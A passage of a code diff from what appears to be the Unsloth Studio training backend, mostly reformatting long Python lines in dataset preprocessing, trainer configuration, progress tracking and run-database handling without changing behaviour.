UnslothTrainer: ) # Cast audio to 16kHz (Whisper's expected sample rate) - dataset = dataset.cast_column(audio_col, Audio(sampling_rate = WHISPER_SAMPLE_RATE)) + dataset = dataset.cast_column( + audio_col, Audio(sampling_rate = WHISPER_SAMPLE_RATE) + ) # Train/eval split (notebook does dataset.train_test_split) eval_dataset_raw = None @@ -2131,7 +2273,11 @@ class UnslothTrainer: try: audio_data = example.get(audio_col) text = example.get(text_col) - if audio_data is None or audio_data.get("array") is None or not text: + if ( + audio_data is None + or audio_data.get("array") is None + or not text + ): skipped += 1 continue @@ -2149,7 +2295,9 @@ class UnslothTrainer: } ) except Exception as e: - logger.warning(f"Error processing Whisper {split_name} example {idx}: {e}") + logger.warning( + f"Error processing Whisper {split_name} example {idx}: {e}" + ) skipped += 1 continue @@ -2164,7 +2312,9 @@ class UnslothTrainer: return processed train_data = process_split(dataset, "train") - eval_data = process_split(eval_dataset_raw, "eval") if eval_dataset_raw else None + eval_data = ( + process_split(eval_dataset_raw, "eval") if eval_dataset_raw else None + ) if not train_data: raise ValueError("No valid examples after Whisper preprocessing") @@ -2202,7 +2352,9 @@ class UnslothTrainer: if candidates: all_files.extend(str(c) for c in candidates) continue - raise ValueError(f"No supported data files in directory: {file_path_obj}") + raise ValueError( + f"No supported data files in directory: {file_path_obj}" + ) else: all_files.append(str(file_path_obj)) return all_files @@ -2251,7 +2403,9 @@ class UnslothTrainer: try: dataset = None eval_dataset = None - has_separate_eval_source = False # True if eval comes from a separate HF split + has_separate_eval_source = ( + False # True if eval comes from a separate HF split + ) eval_enabled = eval_steps is not None and eval_steps > 0 raw_text_mode = is_cpt or format_type == "raw" @@ -2341,7 +2495,9 @@ class UnslothTrainer: load_kwargs["name"] = subset if dataset_streaming: - self._update_progress(status_message = f"Streaming dataset: {dataset_source}...") + self._update_progress( + status_message = f"Streaming dataset: {dataset_source}..." + ) dataset = load_dataset(**load_kwargs, streaming = True) # Optional iterable slicing @@ -2444,7 +2600,9 @@ class UnslothTrainer: if subset: probe_kwargs["config_name"] = subset try: - available_splits = get_dataset_split_names(**probe_kwargs) + available_splits = get_dataset_split_names( + **probe_kwargs + ) except Exception as probe_err: raise ValueError( f"Could not list splits for '{dataset_source}' " @@ -2459,13 +2617,17 @@ class UnslothTrainer: f"dataset '{dataset_source}'. Available splits: " f"{available_splits}" ) - eval_dataset = load_dataset(**eval_load_kwargs, streaming = True) + eval_dataset = load_dataset( + **eval_load_kwargs, streaming = True + ) # A streaming eval dataset has no __len__; bound it so # each evaluation terminates instead of consuming the # whole stream. .take() stays lazy and survives the # later format/raw-text .map() passes. if not hasattr(eval_dataset, "__len__"): - eval_dataset = eval_dataset.take(STREAMING_EVAL_MAX_SAMPLES) + eval_dataset = eval_dataset.take( + STREAMING_EVAL_MAX_SAMPLES + ) logger.info( f"Streaming eval split capped to " f"{STREAMING_EVAL_MAX_SAMPLES} samples\n" @@ -2479,7 +2641,9 @@ class UnslothTrainer: f"Loaded eval split '{eval_split}' with {len(eval_dataset)} rows\n" ) else: - logger.info(f"Loaded eval split '{eval_split}' in streaming mode\n") + logger.info( + f"Loaded eval split '{eval_split}' in streaming mode\n" + ) elif eval_split and eval_split == effective_train: if dataset_streaming: raise ValueError( @@ -2503,7 +2667,9 @@ class UnslothTrainer: if eval_dataset is not None: has_separate_eval_source = True else: - logger.info("Eval disabled (eval_steps <= 0), skipping eval split detection\n") + logger.info( + "Eval disabled (eval_steps <= 0), skipping eval split detection\n" + ) if dataset is None: raise ValueError("No dataset provided") @@ -2516,7 +2682,11 @@ class UnslothTrainer: ): total_rows = len(dataset) start = dataset_slice_start if dataset_slice_start is not None else 0 - end = dataset_slice_end if dataset_slice_end is not None else total_rows - 1 + end = ( + dataset_slice_end + if dataset_slice_end is not None + else total_rows - 1 + ) # Clamp to valid range start = max(0, min(start, total_rows - 1)) end = max(start, min(end, total_rows - 1)) @@ -2547,11 +2717,15 @@ class UnslothTrainer: return (train_data, eval_data) elif self._audio_type == "snac": - processed = self._preprocess_snac_dataset(dataset, custom_format_mapping) + processed = self._preprocess_snac_dataset( + dataset, custom_format_mapping + ) return (processed, None) elif self._audio_type == "bicodec": - processed = self._preprocess_bicodec_dataset(dataset, custom_format_mapping) + processed = self._preprocess_bicodec_dataset( + dataset, custom_format_mapping + ) return ({"dataset": processed, "final_format": "audio_bicodec"}, None) elif self._audio_type == "dac": @@ -2585,7 +2759,11 @@ class UnslothTrainer: f"{_raw_mode_label().capitalize()}: eval dataset " f"({eval_rows}) kept as raw text\n" ) - elif eval_enabled and not has_separate_eval_source and not dataset_streaming: + elif ( + eval_enabled + and not has_separate_eval_source + and not dataset_streaming + ): # _resolve_eval_split_from_dataset does a train_test_split (needs # len/random access). Streaming always provides a separate eval # split (route-enforced), so this auto-split is non-streaming only. @@ -2607,11 +2785,15 @@ class UnslothTrainer: # falls back to features/first-row probing. train_columns = resolve_column_names(train_dataset) if "text" not in train_columns: - raise ValueError(f"Raw-text dataset missing 'text' column: {train_columns}") + raise ValueError( + f"Raw-text dataset missing 'text' column: {train_columns}" + ) return (dataset_info, eval_dataset) elif self.is_audio_vlm: - formatted = self._format_audio_vlm_dataset(dataset, custom_format_mapping) + formatted = self._format_audio_vlm_dataset( + dataset, custom_format_mapping + ) return (formatted, None) # ========== FORMAT FIRST ========== @@ -2649,7 +2831,9 @@ class UnslothTrainer: if isinstance(final_n, int) else f"Dataset ready ({final_n} samples, {detected} format)" ) - logger.info(f"Dataset formatted successfully ({final_n} samples, {detected})\n") + logger.info( + f"Dataset formatted successfully ({final_n} samples, {detected})\n" + ) # ========== THEN SPLIT ========== if has_separate_eval_source and eval_dataset is not None: @@ -2667,7 +2851,9 @@ class UnslothTrainer: ) eval_dataset = eval_info["dataset"] logger.info("Eval dataset formatted successfully\n") - elif eval_enabled and not has_separate_eval_source and not dataset_streaming: + elif ( + eval_enabled and not has_separate_eval_source and not dataset_streaming + ): # No separate eval source — split the already-formatted dataset formatted_dataset = dataset_info["dataset"] split_result = self._resolve_eval_split_from_dataset(formatted_dataset) @@ -2888,7 +3074,9 @@ class UnslothTrainer: return None # some collators omit input_ids seq_len = input_ids.shape[-1] if input_ids.ndim > 0 else 0 - if not (input_ids.is_floating_point() or input_ids.numel() == 0 or seq_len == 0): + if not ( + input_ids.is_floating_point() or input_ids.numel() == 0 or seq_len == 0 + ): return None model = self.model_name or "this model" @@ -2932,7 +3120,9 @@ class UnslothTrainer: # Store training parameters for metrics calculation self.batch_size = training_args.get("batch_size", 2) self.max_seq_length = training_args.get("max_seq_length", 2048) - self.gradient_accumulation_steps = training_args.get("gradient_accumulation_steps", 4) + self.gradient_accumulation_steps = training_args.get( + "gradient_accumulation_steps", 4 + ) # Set training start time self.training_start_time = time.time() @@ -2940,10 +3130,14 @@ class UnslothTrainer: self._update_progress(is_training = True, error = None) # Setup logging - if training_args.get("enable_wandb", False) and training_args.get("wandb_token"): + if training_args.get("enable_wandb", False) and training_args.get( + "wandb_token" + ): os.environ["WANDB_API_KEY"] = training_args["wandb_token"] import wandb - wandb.init(project = training_args.get("wandb_project", "unsloth-training")) + wandb.init( + project = training_args.get("wandb_project", "unsloth-training") + ) # Create output directory output_dir = str(resolve_output_dir(training_args.get("output_dir"))) @@ -2979,7 +3173,9 @@ class UnslothTrainer: training_args.get("num_epochs", 3), training_args.get("max_steps", 0), ) - self._update_progress(total_steps = total, status_message = "Starting CSM training...") + self._update_progress( + total_steps = total, status_message = "Starting CSM training..." + ) logger.info(f"CSM training config: {config}\n") self.trainer.train( resume_from_checkpoint = training_args.get("resume_from_checkpoint") @@ -3018,7 +3214,9 @@ class UnslothTrainer: training_args.get("num_epochs", 3), training_args.get("max_steps", 0), ) - self._update_progress(total_steps = total, status_message = "Starting SNAC training...") + self._update_progress( + total_steps = total, status_message = "Starting SNAC training..." + ) logger.info(f"SNAC training config: {config}\n") self.trainer.train( resume_from_checkpoint = training_args.get("resume_from_checkpoint") @@ -3044,7 +3242,9 @@ class UnslothTrainer: trainer_kwargs = { "model": self.model, "train_dataset": dataset, - "data_collator": DataCollatorSpeechSeq2SeqWithPadding(processor = self.tokenizer), + "data_collator": DataCollatorSpeechSeq2SeqWithPadding( + processor = self.tokenizer + ), "processing_class": self.tokenizer.feature_extractor, "args": Seq2SeqTrainingArguments(**config), } @@ -3083,12 +3283,16 @@ class UnslothTrainer: # ========== DATA COLLATOR SELECTION ========== model_name_lower = self.model_name.lower() - is_deepseek_ocr = "deepseek" in model_name_lower and "ocr" in model_name_lower + is_deepseek_ocr = ( + "deepseek" in model_name_lower and "ocr" in model_name_lower + ) logger.info("Configuring data collator...\n") dataset_final_format = ( - str(dataset.get("final_format", "")).lower() if isinstance(dataset, dict) else "" + str(dataset.get("final_format", "")).lower() + if isinstance(dataset, dict) + else "" ) raw_text_mode = dataset_final_format == "raw_text" @@ -3126,7 +3330,9 @@ class UnslothTrainer: image_size = 640, base_size = 1024, crop_mode = True, - train_on_responses_only = training_args.get("train_on_completions", False), + train_on_responses_only = training_args.get( + "train_on_completions", False + ), ) logger.info("DeepSeek OCR data collator configured successfully\n") @@ -3156,7 +3362,9 @@ class UnslothTrainer: texts.append(text) audios.append(example[audio_col_name]["array"]) - batch = processor(text = texts, audio = audios, return_tensors = "pt", padding = True) + batch = processor( + text = texts, audio = audios, return_tensors = "pt", padding = True + ) # Labels = input_ids with special tokens masked labels = batch["input_ids"].clone() @@ -3184,9 +3392,13 @@ class UnslothTrainer: FastVisionModel.for_training(self.model) vision_image_size = training_args.get("vision_image_size") if vision_image_size is None: - data_collator = UnslothVisionDataCollator(self.model, self.tokenizer) + data_collator = UnslothVisionDataCollator( + self.model, self.tokenizer + ) else: - logger.info(f"Vision image resize: {vision_image_size} (max dimension)\n") + logger.info( + f"Vision image resize: {vision_image_size} (max dimension)\n" + ) data_collator = UnslothVisionDataCollator( self.model, self.tokenizer, @@ -3206,8 +3418,12 @@ class UnslothTrainer: config_args = { "per_device_train_batch_size": training_args.get("batch_size", 2), - "gradient_accumulation_steps": training_args.get("gradient_accumulation_steps", 4), - "num_train_epochs": training_args.get("num_epochs", 3), # Default to epochs + "gradient_accumulation_steps": training_args.get( + "gradient_accumulation_steps", 4 + ), + "num_train_epochs": training_args.get( + "num_epochs", 3 + ), # Default to epochs "learning_rate": lr_value, "fp16": not is_bfloat16_supported(), "bf16": is_bfloat16_supported(), @@ -3302,7 +3518,9 @@ class UnslothTrainer: logger.info(f"Configuring {label} model training parameters\n") # Provided values or vision defaults optim_value = training_args.get("optim", "adamw_torch_fused") - lr_scheduler_type_value = training_args.get("lr_scheduler_type", "cosine") + lr_scheduler_type_value = training_args.get( + "lr_scheduler_type", "cosine" + ) config_args.update( { "optim": optim_value, @@ -3336,7 +3554,9 @@ class UnslothTrainer: # Packing for text models only (DeepSeek OCR is VLM) if not is_deepseek_ocr: packing_enabled = training_args.get("packing", False) - if packing_enabled and training_args.get("dataset_streaming", False): + if packing_enabled and training_args.get( + "dataset_streaming", False + ): logger.warning( "Sequence packing is enabled with dataset streaming: " "max_steps governs training length and packed-sample " @@ -3363,7 +3583,9 @@ class UnslothTrainer: # Audio VLM (e.g. Gemma 3N + audio): raw Dataset from _format_audio_vlm_dataset # Notebook uses processing_class=processor.tokenizer (text tokenizer only) # Raw-text runs are routed to the text path below. - train_dataset = dataset["dataset"] if isinstance(dataset, dict) else dataset + train_dataset = ( + dataset["dataset"] if isinstance(dataset, dict) else dataset + ) processing_class = ( self.tokenizer.tokenizer if hasattr(self.tokenizer, "tokenizer") @@ -3382,7 +3604,9 @@ class UnslothTrainer: elif self.is_vlm and not raw_text_mode: # Image VLM: dataset is a dict wrapper from # format_and_template_dataset. Raw-text runs go to the text path below. - train_dataset = dataset["dataset"] if isinstance(dataset, dict) else dataset + train_dataset = ( + dataset["dataset"] if isinstance(dataset, dict) else dataset + ) trainer_kwargs = { "model": self.model, "train_dataset": train_dataset, @@ -3404,7 +3628,9 @@ class UnslothTrainer: if isinstance(self.tokenizer, ProcessorMixin) and hasattr( self.tokenizer, "tokenizer" ): - logger.info("Unwrapping Processor → raw tokenizer for text-only SFTTrainer") + logger.info( + "Unwrapping Processor → raw tokenizer for text-only SFTTrainer" + ) sft_tokenizer = self.tokenizer.tokenizer if is_cpt: @@ -3469,7 +3695,9 @@ class UnslothTrainer: ) if is_cpt: - logger.info("CPT mode: skipping train_on_responses_only — training on all tokens\n") + logger.info( + "CPT mode: skipping train_on_responses_only — training on all tokens\n" + ) elif raw_text_mode: logger.info( "Raw-text mode: skipping train_on_responses_only — training on all tokens\n" @@ -3522,16 +3750,22 @@ class UnslothTrainer: # template); only sometimes max_seq_length truncating the response # away. Skip this len()-based check for streaming. if detect_streaming_dataset(self.trainer.train_dataset): - logger.info("Skipping post-filter length check for streaming dataset\n") + logger.info( + "Skipping post-filter length check for streaming dataset\n" + ) else: filtered_len = len(self.trainer.train_dataset) original_dataset_obj = ( - dataset["dataset"] if isinstance(dataset, dict) else dataset + dataset["dataset"] + if isinstance(dataset, dict) + else dataset ) original_len = len(original_dataset_obj) dropped = original_len - filtered_len drop_pct = ( - round(100 * dropped / original_len, 1) if original_len > 0 else 0 + round(100 * dropped / original_len, 1) + if original_len > 0 + else 0 ) if filtered_len == 0 or drop_pct > 30: @@ -3551,7 +3785,9 @@ class UnslothTrainer: f"raise it if your samples are actually longer than that." ) logger.error(error_msg) - self._update_progress(error = error_msg, is_training = False) + self._update_progress( + error = error_msg, is_training = False + ) return if dropped > 0: @@ -3560,7 +3796,9 @@ class UnslothTrainer: f"({drop_pct}%) were dropped (all labels " f"masked). {filtered_len} samples remain.\n" ) - logger.info(f"Post-filter dataset size: {filtered_len} samples\n") + logger.info( + f"Post-filter dataset size: {filtered_len} samples\n" + ) except Exception as e: logger.warning(f"Post-masking dataset size check failed: {e}") @@ -3573,7 +3811,9 @@ class UnslothTrainer: # ========== PROGRESS TRACKING ========== self.trainer.add_callback(self._create_progress_callback()) - train_dataset_obj = dataset["dataset"] if isinstance(dataset, dict) else dataset + train_dataset_obj = ( + dataset["dataset"] if isinstance(dataset, dict) else dataset + ) is_streaming_dataset = detect_streaming_dataset(train_dataset_obj) max_steps_value = training_args.get("max_steps") @@ -3616,9 +3856,13 @@ class UnslothTrainer: self._update_progress(error = preflight_error, is_training = False) return - self._update_progress(total_steps = total_steps, status_message = "Starting training...") + self._update_progress( + total_steps = total_steps, status_message = "Starting training..." + ) logger.info("Starting training...\n") - self.trainer.train(resume_from_checkpoint = training_args.get("resume_from_checkpoint")) + self.trainer.train( + resume_from_checkpoint = training_args.get("resume_from_checkpoint") + ) # ========== SAVE MODEL ========== self._finalize_training(output_dir) @@ -3657,7 +3901,9 @@ class UnslothTrainer: method = "lora" config["unsloth_training_method"] = method - logger.info(f"Patching adapter_config.json with unsloth_training_method='{method}'") + logger.info( + f"Patching adapter_config.json with unsloth_training_method='{method}'" + ) with open(config_path, "w", encoding = "utf-8") as f: json.dump(config, f, indent = 2) @@ -3671,7 +3917,9 @@ class UnslothTrainer: self.should_stop = True self.save_on_stop = save stop_msg = ( - "Stopping training and saving checkpoint..." if save else "Cancelling training..." + "Stopping training and saving checkpoint..." + if save + else "Cancelling training..." ) self._update_progress(status_message = stop_msg) @@ -3714,7 +3962,9 @@ def _ensure_deepseek_ocr_installed(): pass try: - logger.info("DeepSeek OCR module not found. Auto-installing from HuggingFace...") + logger.info( + "DeepSeek OCR module not found. Auto-installing from HuggingFace..." + ) logger.info("\n Downloading DeepSeek OCR module from HuggingFace...\n") from huggingface_hub import snapshot_download @@ -3727,7 +3977,9 @@ def _ensure_deepseek_ocr_installed(): # Download to project root as 'deepseek_ocr' folder local_dir = os.path.join(parent_dir, "deepseek_ocr") - snapshot_download("unsloth/DeepSeek-OCR", local_dir = local_dir, local_dir_use_symlinks = False) + snapshot_download( + "unsloth/DeepSeek-OCR", local_dir = local_dir, local_dir_use_symlinks = False + ) if parent_dir not in sys.path: sys.path.insert(0, parent_dir) diff --git a/studio/backend/core/training/training.py b/studio/backend/core/training/training.py index b407ba39a5..2d99ee127e 100644 --- a/studio/backend/core/training/training.py +++ b/studio/backend/core/training/training.py @@ -115,9 +115,13 @@ def _coerce_optional_nonneg_float(name: str, value): try: coerced = float(value) except (TypeError, ValueError): - raise ValueError(f"Unsloth: {name}={value!r} must be a non-negative float or None.") + raise ValueError( + f"Unsloth: {name}={value!r} must be a non-negative float or None." + ) if coerced < 0: - raise ValueError(f"Unsloth: {name}={coerced} must be >= 0 (use 0 or None to disable).") + raise ValueError( + f"Unsloth: {name}={coerced} must be >= 0 (use 0 or None to disable)." + ) return coerced @@ -208,7 +212,9 @@ def _build_training_worker_config(values: dict[str, Any]) -> dict[str, Any]: "tensorboard_dir": values.get("tensorboard_dir", "runs"), "resume_from_checkpoint": values.get("resume_from_checkpoint"), "trust_remote_code": values.get("trust_remote_code", False), - "approved_remote_code_fingerprint": values.get("approved_remote_code_fingerprint"), + "approved_remote_code_fingerprint": values.get( + "approved_remote_code_fingerprint" + ), "subject": values.get("subject"), "gpu_ids": values.get("gpu_ids"), "s3_config": values.get("s3_config"), @@ -358,12 +364,16 @@ class _MLXTrainerAdapter: self._pump_thread: Optional[threading.Thread] = None self._lock = threading.Lock() - def _activate_transformers_for_model(self, model_name: str, hf_token: Optional[str]) -> None: + def _activate_transformers_for_model( + self, model_name: str, hf_token: Optional[str] + ) -> None: try: from utils.transformers_version import activate_transformers_for_subprocess activate_transformers_for_subprocess(model_name, hf_token) except Exception as exc: - logger.warning("MLX trainer adapter Transformers activation failed", error = str(exc)) + logger.warning( + "MLX trainer adapter Transformers activation failed", error = str(exc) + ) def add_progress_callback(self, callback: Callable[[TrainingProgress], None]): self.progress_callbacks.append(callback) @@ -408,10 +418,16 @@ class _MLXTrainerAdapter: else: self.is_audio = self._audio_type is not None self.is_audio_vlm = False - vision = is_vision_model(model_name, hf_token = hf_token) if not self.is_audio else False + vision = ( + is_vision_model(model_name, hf_token = hf_token) + if not self.is_audio + else False + ) self.is_vlm = not self.is_audio_vlm and vision and bool(is_dataset_image) except Exception as exc: - logger.warning("MLX trainer adapter model type detection failed", error = str(exc)) + logger.warning( + "MLX trainer adapter model type detection failed", error = str(exc) + ) self.is_vlm = False self.is_audio = False self.is_audio_vlm = False @@ -504,7 +520,10 @@ class _MLXTrainerAdapter: } self.is_cpt = bool(is_cpt) self._update_progress(status_message = "Queued MLX dataset load") - return ({"dataset": [], "final_format": "deferred_mlx_cli", "success": True}, None) + return ( + {"dataset": [], "final_format": "deferred_mlx_cli", "success": True}, + None, + ) def start_training( self, @@ -512,12 +531,18 @@ class _MLXTrainerAdapter: eval_dataset = None, **training_args, ) -> bool: - if self.is_training and self.training_thread and self.training_thread.is_alive(): + if ( + self.is_training + and self.training_thread + and self.training_thread.is_alive() + ): return False if self._pump_thread and self._pump_thread.is_alive(): self._pump_thread.join(timeout = 2.0) if self._pump_thread.is_alive(): - self._update_progress(error = "Previous training event pump is still finalizing") + self._update_progress( + error = "Previous training event pump is still finalizing" + ) return False if not self._model_config: self._update_progress(error = "Model not loaded") @@ -645,7 +670,9 @@ class _MLXTrainerAdapter: not self.training_progress.error and not self.training_progress.is_completed ): - self.training_progress.error = "Training process exited unexpectedly" + self.training_progress.error = ( + "Training process exited unexpectedly" + ) self.is_training = False self._event_queue = None self._stop_queue = None @@ -673,17 +700,25 @@ class _MLXTrainerAdapter: step = event.get("step", self.training_progress.step), epoch = event.get("epoch", self.training_progress.epoch), loss = event.get("loss", self.training_progress.loss), - learning_rate = event.get("learning_rate", self.training_progress.learning_rate), - total_steps = event.get("total_steps", self.training_progress.total_steps), + learning_rate = event.get( + "learning_rate", self.training_progress.learning_rate + ), + total_steps = event.get( + "total_steps", self.training_progress.total_steps + ), elapsed_seconds = event.get( "elapsed_seconds", self.training_progress.elapsed_seconds, ), - eta_seconds = event.get("eta_seconds", self.training_progress.eta_seconds), + eta_seconds = event.get( + "eta_seconds", self.training_progress.eta_seconds + ), grad_norm = event.get("grad_norm", self.training_progress.grad_norm), num_tokens = event.get("num_tokens", self.training_progress.num_tokens), eval_loss = event.get("eval_loss", self.training_progress.eval_loss), - peak_memory_gb = event.get("peak_memory_gb", self.training_progress.peak_memory_gb), + peak_memory_gb = event.get( + "peak_memory_gb", self.training_progress.peak_memory_gb + ), ) return if etype == "complete": @@ -718,7 +753,9 @@ class _MLXTrainerAdapter: if self._stop_queue is not None: self._stop_queue.put({"type": "stop", "save": save}) status_message = ( - "Stopping training and saving checkpoint..." if save else "Cancelling training..." + "Stopping training and saving checkpoint..." + if save + else "Cancelling training..." ) self._update_progress(status_message = status_message) return True @@ -842,7 +879,9 @@ class TrainingBackend: if self._pump_thread is not None and self._pump_thread.is_alive(): self._pump_thread.join(timeout = 5.0) if self._pump_thread.is_alive(): - logger.warning("Previous pump thread did not exit within 5s — refusing to start") + logger.warning( + "Previous pump thread did not exit within 5s — refusing to start" + ) return False self._pump_thread = None # Clear a stale crash flag from a prior died pump so the watchdog can't @@ -879,7 +918,9 @@ class TrainingBackend: config["resolved_gpu_ids"] = None config["gpu_selection"] = None elif gpu_ids: - resolved_gpu_ids, gpu_selection = prepare_gpu_selection(gpu_ids, **gpu_selection_kwargs) + resolved_gpu_ids, gpu_selection = prepare_gpu_selection( + gpu_ids, **gpu_selection_kwargs + ) config["resolved_gpu_ids"] = resolved_gpu_ids config["gpu_selection"] = gpu_selection else: @@ -910,7 +951,9 @@ class TrainingBackend: try: before_spawn() except Exception: - logger.warning("before_spawn hook failed; continuing", exc_info = True) + logger.warning( + "before_spawn hook failed; continuing", exc_info = True + ) if defer_auto_selection: try: @@ -976,7 +1019,9 @@ class TrainingBackend: self._metric_buffer.clear() self._run_finalized = False self._db_run_created = False - self._db_create_in_progress = False # a stale watchdog create can't block this run + self._db_create_in_progress = ( + False # a stale watchdog create can't block this run + ) self._db_total_steps_set = False self._db_config = _sanitize_db_config(config) self._db_started_at = datetime.now(timezone.utc).isoformat() @@ -1022,7 +1067,9 @@ class TrainingBackend: pass # Update progress immediately for responsive UI. self._progress.status_message = ( - "Stopping training and saving checkpoint..." if save else "Cancelling training..." + "Stopping training and saving checkpoint..." + if save + else "Cancelling training..." ) # Guarantee the run finalizes even if the worker wedges after saving. self._start_stop_watchdog(cancel = not save) @@ -1096,7 +1143,9 @@ class TrainingBackend: reason, ) else: - logger.warning("Stop watchdog force-terminating stuck training worker: %s", reason) + logger.warning( + "Stop watchdog force-terminating stuck training worker: %s", reason + ) # force_terminate can raise on a wedged child; finalize regardless. try: self.force_terminate(target_proc = target_proc) @@ -1161,7 +1210,13 @@ class TrainingBackend: loss_history = list(self.loss_history) if claim: self._finish_stopped_run( - run_id, output_dir, batch, final_step, final_loss, duration, loss_history + run_id, + output_dir, + batch, + final_step, + final_loss, + duration, + loss_history, ) with self._lock: if target_proc is None or self._proc is target_proc: @@ -1274,7 +1329,9 @@ class TrainingBackend: "Model download stalled even over HTTP -- check your network connection" ) if recover: - logger.warning("Training model-load stalled on Xet; respawning over HTTP: %s", msg) + logger.warning( + "Training model-load stalled on Xet; respawning over HTTP: %s", msg + ) else: logger.error("Training download stalled with no further fallback: %s", msg) # Terminate either way so the pump loop proceeds (respawn or finalize). @@ -1302,7 +1359,9 @@ class TrainingBackend: config = {**config, "disable_xet": True} self._last_full_config = config - logger.warning("Respawning training worker with HF_HUB_DISABLE_XET=1 after Xet stall") + logger.warning( + "Respawning training worker with HF_HUB_DISABLE_XET=1 after Xet stall" + ) from .worker import run_training_process @@ -1352,7 +1411,9 @@ class TrainingBackend: new_proc.start() from utils.process_lifetime import adopt_pid - adopt_pid(new_proc.pid) # bind to parent lifetime (Windows job / sweep) + adopt_pid( + new_proc.pid + ) # bind to parent lifetime (Windows job / sweep) except Exception: logger.error("Failed to respawn training subprocess", exc_info = True) self._spawn_in_progress = False @@ -1369,7 +1430,9 @@ class TrainingBackend: ) return - logger.info("Training subprocess respawned with Xet disabled (pid=%s)", new_proc.pid) + logger.info( + "Training subprocess respawned with Xet disabled (pid=%s)", new_proc.pid + ) new_pump = threading.Thread(target = self._pump_loop, daemon = True) with self._lock: self._in_model_load = False @@ -1532,8 +1595,12 @@ class TrainingBackend: try: self._handle_event(event) except Exception: - etype = event.get("type") if isinstance(event, dict) else type(event).__name__ - logger.exception("Training event pump: failed to handle %s event; skipping", etype) + etype = ( + event.get("type") if isinstance(event, dict) else type(event).__name__ + ) + logger.exception( + "Training event pump: failed to handle %s event; skipping", etype + ) def _pump_loop(self) -> None: """Background thread: consume subprocess events and update state. @@ -1591,7 +1658,8 @@ class TrainingBackend: else: self._progress.is_training = False self._progress.error = ( - self._progress.error or "Training process exited unexpectedly" + self._progress.error + or "Training process exited unexpectedly" ) self._ensure_db_run_created() @@ -1602,7 +1670,9 @@ class TrainingBackend: else "Training process terminated unexpectedly", ) except Exception: - logger.exception("Training event pump: finalization after worker exit failed") + logger.exception( + "Training event pump: finalization after worker exit failed" + ) self._pump_running = False return @@ -1641,7 +1711,9 @@ class TrainingBackend: except (TypeError, ValueError): logger.debug("Could not convert loss to float: %s", _raw_loss) _safe_loss = None - _loss_is_nonfinite = _safe_loss is not None and not math.isfinite(_safe_loss) + _loss_is_nonfinite = _safe_loss is not None and not math.isfinite( + _safe_loss + ) if _loss_is_nonfinite: # Drop the value rather than laundering it back to the last # finite loss; clients see loss=None at this step so the NaN @@ -1657,7 +1729,9 @@ class TrainingBackend: try: _safe_lr = float(_raw_lr) if _raw_lr is not None else None except (TypeError, ValueError): - logger.debug("Could not convert learning_rate to float: %s", _raw_lr) + logger.debug( + "Could not convert learning_rate to float: %s", _raw_lr + ) _safe_lr = None if _safe_lr is not None and not math.isfinite(_safe_lr): _safe_lr = None @@ -1669,7 +1743,9 @@ class TrainingBackend: self._progress.loss = None if _safe_lr is not None: self._progress.learning_rate = _safe_lr - self._progress.total_steps = event.get("total_steps", self._progress.total_steps) + self._progress.total_steps = event.get( + "total_steps", self._progress.total_steps + ) self._progress.elapsed_seconds = event.get("elapsed_seconds") self._progress.eta_seconds = event.get("eta_seconds") self._progress.grad_norm = event.get("grad_norm") @@ -1713,7 +1789,9 @@ class TrainingBackend: try: eval_loss = float(eval_loss) except (TypeError, ValueError): - logger.debug("Could not convert eval_loss to float: %s", eval_loss) + logger.debug( + "Could not convert eval_loss to float: %s", eval_loss + ) eval_loss = None if step > 0 and eval_loss is not None and math.isfinite(eval_loss): self.eval_loss_history.append(eval_loss) @@ -1743,9 +1821,12 @@ class TrainingBackend: "job_id": self.current_job_id, "model_name": self._db_config["model_name"], "dataset_name": self._db_config.get("hf_dataset") - or next(iter(self._db_config.get("local_datasets") or []), "unknown"), + or next( + iter(self._db_config.get("local_datasets") or []), "unknown" + ), "config_json": _json.dumps(self._db_config), - "started_at": self._db_started_at or datetime.now(timezone.utc).isoformat(), + "started_at": self._db_started_at + or datetime.now(timezone.utc).isoformat(), "total_steps": event.get("total_steps"), } elif ( @@ -1830,7 +1911,9 @@ class TrainingBackend: elif db_action == "update_total_steps": try: from storage.studio_db import update_run_total_steps - update_run_total_steps(db_action_kwargs["job_id"], db_action_kwargs["total_steps"]) + update_run_total_steps( + db_action_kwargs["job_id"], db_action_kwargs["total_steps"] + ) self._db_total_steps_set = True except Exception: logger.warning("Failed to update total_steps in DB", exc_info = True) @@ -1856,7 +1939,12 @@ class TrainingBackend: if step == prev: return now = time.monotonic() - if prev >= 0 and step > prev and not is_final and (now - self._last_progress_log_ts) < 30.0: + if ( + prev >= 0 + and step > prev + and not is_final + and (now - self._last_progress_log_ts) < 30.0 + ): return self._last_progress_log_ts = now self._last_progress_log_step = step @@ -1908,7 +1996,9 @@ class TrainingBackend: ) created = True except Exception: - logger.warning("Failed to create DB run record for early failure", exc_info = True) + logger.warning( + "Failed to create DB run record for early failure", exc_info = True + ) finally: with self._lock: # Publish the flags only if this is still the current run. A killed worker @@ -1917,7 +2007,9 @@ class TrainingBackend: # (the row was still created by id; the new run owns/creates its own row). if self.current_job_id == job_id: if created: - self._db_run_created = True # publish only after the insert commits + self._db_run_created = ( + True # publish only after the insert commits + ) self._db_create_in_progress = False def _finalize_run_in_db( @@ -1936,7 +2028,11 @@ class TrainingBackend: with self._lock: if expected_job_id is not None and self.current_job_id != expected_job_id: return - if not self.current_job_id or not self._db_run_created or self._run_finalized: + if ( + not self.current_job_id + or not self._db_run_created + or self._run_finalized + ): return self._run_finalized = True run_id = self.current_job_id @@ -1966,7 +2062,9 @@ class TrainingBackend: except Exception: with self._lock: self._run_finalized = False # unclaim so a later flush can retry - logger.warning("Failed to finalize run in DB (status=%s)", status, exc_info = True) + logger.warning( + "Failed to finalize run in DB (status=%s)", status, exc_info = True + ) def _flush_metrics_to_db(self, run_id: Optional[str] = None) -> None: """Flush buffered metrics to the DB and update live progress. The target run id, @@ -1995,7 +2093,9 @@ class TrainingBackend: try: from storage.studio_db import insert_metrics_batch, update_run_progress insert_metrics_batch(target, batch) - update_run_progress(id = target, step = step, loss = loss, duration_seconds = duration) + update_run_progress( + id = target, step = step, loss = loss, duration_seconds = duration + ) except Exception: # Re-queue the claimed batch at the front so it retries on the next flush. with self._lock: @@ -2125,7 +2225,9 @@ class TrainingBackend: else: title = "Training Loss" - ax.set_title(title, fontsize = 11, fontweight = "bold", pad = 10, color = style["text"]) + ax.set_title( + title, fontsize = 11, fontweight = "bold", pad = 10, color = style["text"] + ) ax.grid(True, alpha = 0.4, linestyle = "--", color = style["grid_color"]) ax.tick_params(colors = style["text"], which = "both") ax.spines["top"].set_visible(False) diff --git a/studio/backend/core/training/worker.py b/studio/backend/core/training/worker.py index 111f4fdd0f..012dccb63d 100644 --- a/studio/backend/core/training/worker.py 